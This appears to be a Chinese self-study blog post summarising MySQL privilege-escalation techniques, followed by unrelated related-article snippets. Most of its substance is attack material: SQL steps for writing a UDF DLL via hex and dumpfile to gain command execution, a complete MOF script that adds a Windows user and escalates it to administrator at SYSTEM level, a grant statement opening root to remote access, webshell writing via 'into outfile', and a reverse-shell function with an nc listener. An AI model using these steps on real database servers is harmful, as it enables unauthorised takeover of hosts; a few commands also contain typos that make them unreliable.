当前位置: 首页 > news >正文

mysql提权总结(自学)

目录

MySQL数据库提权简介

UDF提权

原理

利用条件

利用准备

利用过程

MOF提权

原理

利用条件

利用过程

自启动提权

反弹shell提权

总结


MySQL数据库提权简介

一般数据库提权思路:

  1. 检测数据库的存在(探测端口)
  2. 获取到数据库的权限密码
  3. 查看数据库的类型分类

最主要的就是要获取到数据库的账号密码,获取方式大概有:

  • 读取网站的配置文件
  • 读取数据库备份文件下的库中的表的信息,例如MySQL数据库在mysql_user表中存储账户密码,使用cmd5-mysql5解码
  • 暴力破解账户密码,需要支持外联(mysql默认不支持)。可以使用密码脚本在本地爆破,也可以使用工具如msf的scanner mysql_login模块

MySQL数据库提权方式主要有三种

  • 使用sqlmap的--os-shell
  • 使用写入一句话木马,union select 1,一句话木马,3 into outfile/dumpfile 文件路径
  • udf提权
  • mof提权
  • 启动项提权-反弹shell-exp提权

UDF提权

原理

MySQL内置函数不满足需要,所以MySQL提供了添加新函数的机制,自行添加的MySQL函数就称作UDF(User-Defined-Function)。

用户可以自定义提权的函数(比如执行系统命令函数)来进行提权。

MySQL版本大于5.1版本:udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下

MySQL版本小于5.1版本:udf.dll文件在Window2003下放置在C:\Windows\System32下;在Windows2000放置在C:\Winnt\System32

利用条件

  • 获取到MySQL权限,或者说获取到MySQL账号密码,能够调用MySQL语句
  • MySQL具有写入功能,也就是secure_file_priv值不为具体值或者为固定某值,可以用SQL语句查询:
    show global variables like 'secure%';
  •  要有root权限,且要允许外连。root账户允许外连的SQL语句:
    grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';

利用准备

1、熟悉对方的MySQL目录结构和主机型号,使用SQL命令查看:

show variables like '%compile%';

 2、确定MySQL的目录结构,搜索位置

show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本,并且有32位和64位的版本,目录位置:

/usr/share/metasploit-framework/data/exploits/mysql

利用过程

  1. 如果有文件上传漏洞,可以使用蚁剑等工具连接之后,然后直接将提权脚本文件放入lib\plugin目录下,然后使用mysql终端,创建自定义函数sys_eval
    create function sys_eval returns string soname 'udf.dall';
  2. 直接在mysql终端创建目录,导入文件
    create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
    insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
    select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
    create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval
  3. 调用脚本创建sys_eval函数 ,可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹,要把刚刚新建的data表删掉。

MOF提权

原理

类似于udf提权,但成功率低,简单总结来说就是替换原来文件,然后利用自启动原理执行文件进行提权。

在Windows系统下,存在一个mof文件,路径C:/Windows/System32/wbem/mof/nullevt.mof,它的特点为每隔极短一段时间,便会以System权限自动运行文件内脚本,mof提权就是利用这点,将写好的mof文件导入该目录中,让它自动执行代码。

利用条件

  • 有mysql账号和密码
  • 目录可写入

利用过程

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为
net localgroup administrators hsy/add 即可将用户提升管理员权限

自启动提权

利用条件:mysql开启外连;知道账号密码

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限

反弹shell提权

mysql创建反弹函数select backshell(‘发送到的ip地址’,‘端口’),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口

总结

  • mysql提权有很多种方法,有通过sqlmap的--os-shell、通过写入文件(outfile/dumpfile)、通过udf提权、通过mof提权、通过自启动提权等等
  • mysql提权需要的三个条件:要有能够执行数据库语句的权限(知道数据库账号密码);mysql数据库要有能够写入的权限,secure_file_priv的值不为具体值或者为某个具体值(为null表示禁止导入导出);mysql账号要有root权限,或者是有root权限的其他用户,且要允许外连
  • UDF提权原理是因为mysql提供自定义函数的功能,所以可以自定义提权的函数(例如命令执行等),而udf.dll文件放在数据库目录下的lib/plugin下
  • UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数;也可以通过mysql命令语句执行,先创建表然后将文件内容的16进制传入表中,然后再通过写入文件函数dumpfile写入指定目录,最后再创建函数;还可以利用脚本进行创建函数(kali有自带的脚本,也可以通过msf等的脚本利用工具)。
  • MOF提权相对于UDF提权相对利用率较低,它是专门针对Windows提权的。原理是因为Windows下有一个mof文件,路径在C:/Windows/system32/webm/mog/nullevt.mof下,它特点是每隔一段时间,系统就会以root权限去执行这个文件,利用这一点就可以进行利用。

相关文章:

mysql提权总结(自学)

目录 MySQL数据库提权简介 UDF提权 原理 利用条件 利用准备 利用过程 MOF提权 原理 利用条件 利用过程 自启动提权 反弹shell提权 总结 MySQL数据库提权简介 一般数据库提权思路: 检测数据库的存在(探测端口)获取到数据库的权限…...

[数据集][目标检测]铝片表面工业缺陷检测数据集VOC+YOLO格式400张4类别

数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):400 标注数量(xml文件个数):400 标注数量(txt文件个数):400 标注类别…...

晶体管-二极管三极管MOS管选型参数总结

🏡《总目录》 目录 1,概述2,二极管选型参数2.1,类型(Type)2.2,最大整流电流(IF)2.3,反向击穿电压(VRRM)2.4,正向压降(VF)2.5,反向电流(IR)2.6,结温(Tj)2.7,热阻(Rth)2.8,频率特性2.9,包装类型...

ssh命令——安全远程连接Linux服务器

ssh命令是Secure Shell的简写,其功能是安全地远程连接服务器,ssh是OpenSSH套件中的客户端连接工具,通过SSH加密协议进行远程主机访问,并对远程服务器进行管理。 ssh命令的基本语法格式如下: ssh [选项] 主机名或IP地…...

Ansible非标记语言YAML与任务剧本Playbook

前言 上篇介绍了 Ansible 单模块(AD-Hoc)的相关内容Ansible自动化运维Inventory与Ad-Hoc-CSDN博客,Ad-Hoc 命令是一次性的、即时执行的命令,用于在远程主机上执行特定任务,这些命令通常用于快速执行简单的任务。当需要…...

WPF监控平台(科技大屏)[一]

跟着B站的视频敲了一个略微复杂的WPF界面,链接如下.在这里我详细的写一份博客进行设计总结. 系统介绍和配置及主窗口设计_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1Wy421Y7QD?p1&vd_source4796b18a2e4c1ec8a310391a5644b6da 成果展示 实现过程 总体来说,我的…...

HTML详细教程

文章目录 前言一、快速开发网站最简模板二、HTML标签1.编码2.title3.标题4.div和span5.超链接6.图片7.列表8.表格9.input系列10.下拉框11.多行文本 三、GET方式和POST方式1.GET请求2.POST请求 前言 HTML的全称为超文本标记语言,是一种标记语言,是网站开发…...

【excel】常用的50个函数与基础操作(统计函数)

统计函数 (1)数组函数操作 1.【SUM】求和 SUM(数字1,数字2,数字3…) 2.【SUMIF】单条件求和 SUMIF (条件区域,条件,求和区域) 3.【SUMIFS】(单)多条件求和…...

MATLAB中的cell数组和结构体

MATLAB中的Cell数组和结构体 MATLAB作为一种高级编程语言和数值计算环境,为用户提供了多种数据结构,以便更灵活、高效地处理数据。其中,cell数组和结构体是两种非常重要的数据结构,它们在MATLAB编程和数据管理中发挥着关键作用。…...

Python深度学习之路:TensorFlow与PyTorch对比【第140篇—Python实现】

👽发现宝藏 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 Python深度学习之路:TensorFlow与PyTorch对比 在深度学习领域,Tens…...

Unity中UGUI中的PSD导入工具的原理和作用

先说一下PSD导入工具的作用,比如在和美术同事合作开发一个背包UI业务系统时,美术做好效果图后,程序在UGUI中制作好界面,美术说这个图差了2像素,那个图位置不对差了1像素,另外一个图大小不对等等一系列零碎的…...

删除 Oracle 软件和数据库教程

1.使用 deinstall 工具删除安装的 Oracle 软件的可执行文件和配置文件 [oracleocpstudy admin]$ cd $ORACLE_HOME [oracleocpstudy db_1]$ cd deinstall [oracleocpstudy deinstall]$ ls bootstrap_files.lst bootstrap.pl deinstall deinstall.pl deinstall.xml jlib …...

C语言自学笔记8----C语言Switch语句

C 语言 switch 语句 switch语句使我们可以执行许多代替方案中的一个代码块。 虽然您可以使用if…else…if阶梯执行相同的操作。但是,switch语句的语法更容易读写。 switch … case的语法 switch (expression) { case constant1: // 语句 break; case constant2: // …...

分布式搜索引擎(3)

1.数据聚合 **[聚合(](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html)[aggregations](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html)[)](https://www.ela…...

PostgreSQL开发与实战(6.3)体系结构3

作者:太阳 四、物理结构 4.1 软件安装目录 bin //二进制可执行文件 include //头文件目录 lib //动态库文件 share //文档以及配置模版文件4.2 数据目录 4.2.1 参数文件 pg_hba.conf //认证配置文件 p…...

ISIS接口MD5 算法认证实验简述

默认情况下,ISIS接口认证通过在ISIS协议数据单元(PDU)中添加认证字段,例如:MD5 算法,用于验证发送方的身份。 ISIS接口认证防止未经授权的设备加入到网络中,并确保邻居之间的通信是可信的。它可…...

Vue项目的搭建

Node.js 下载 Node.js — Download (nodejs.org)https://nodejs.org/en/download/ 安装 测试 winR->cmd执行 node -v配置 在安装目录下创建两个子文件夹node_cache和node_global,我的就是 D:\nodejs\node_cache D:\nodejs\node_global 在node_global文件下再创建一个…...

ABB新款ACS880-04-650A-3逆变器模块ACS88004650A3加急发货

全球商业别名:ACS880-04-650A-3 产品编号:3AUA0000137885 ABB型号名称:ACS880-04-650A-3 目录描述:低压交流工业单传动模块,IEC:Pn 355 kW,650 A,400 V,UL:Pl…...

Science Robotics 封面论文:美国宇航局喷气推进实验室开发了自主蛇形机器人,用于冰雪世界探索

人们对探索冰冷的卫星(如土卫二)的兴趣越来越大,这可能具有天体生物学意义。然而,由于地表或冰口内的环境极端,获取样本具有挑战性。美国宇航局的喷气推进实验室正在开发一种名为Exobiology Extant Life Surveyor&…...

flutter环境搭建实践

Dart Dart 是一种客户端和服务器端的编程语言,最早由 Google 提出。它被设计用于构建高性能、高度可伸缩和可靠的应用程序。Dart 可以编译成本地代码或者在虚拟机中直接运行。在移动应用开发中,Dart 主要用于开发 Flutter 应用。 Flutter 和 Dart 的关…...

synchronized 学习

学习源: https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖,也要考虑性能问题(场景) 2.常见面试问题: sync出…...

边缘计算医疗风险自查APP开发方案

核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...

12.找到字符串中所有字母异位词

🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...

(转)什么是DockerCompose?它有什么作用?

一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...

Linux离线(zip方式)安装docker

目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1:修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本:CentOS 7 64位 内核版本:3.10.0 相关命令: uname -rcat /etc/os-rele…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

LLMs 系列实操科普(1)

写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...

windows系统MySQL安装文档

概览:本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容,为学习者提供全面的操作指导。关键要点包括: 解压 :下载完成后解压压缩包,得到MySQL 8.…...

区块链技术概述

区块链技术是一种去中心化、分布式账本技术,通过密码学、共识机制和智能合约等核心组件,实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点:数据存储在网络中的多个节点(计算机),而非…...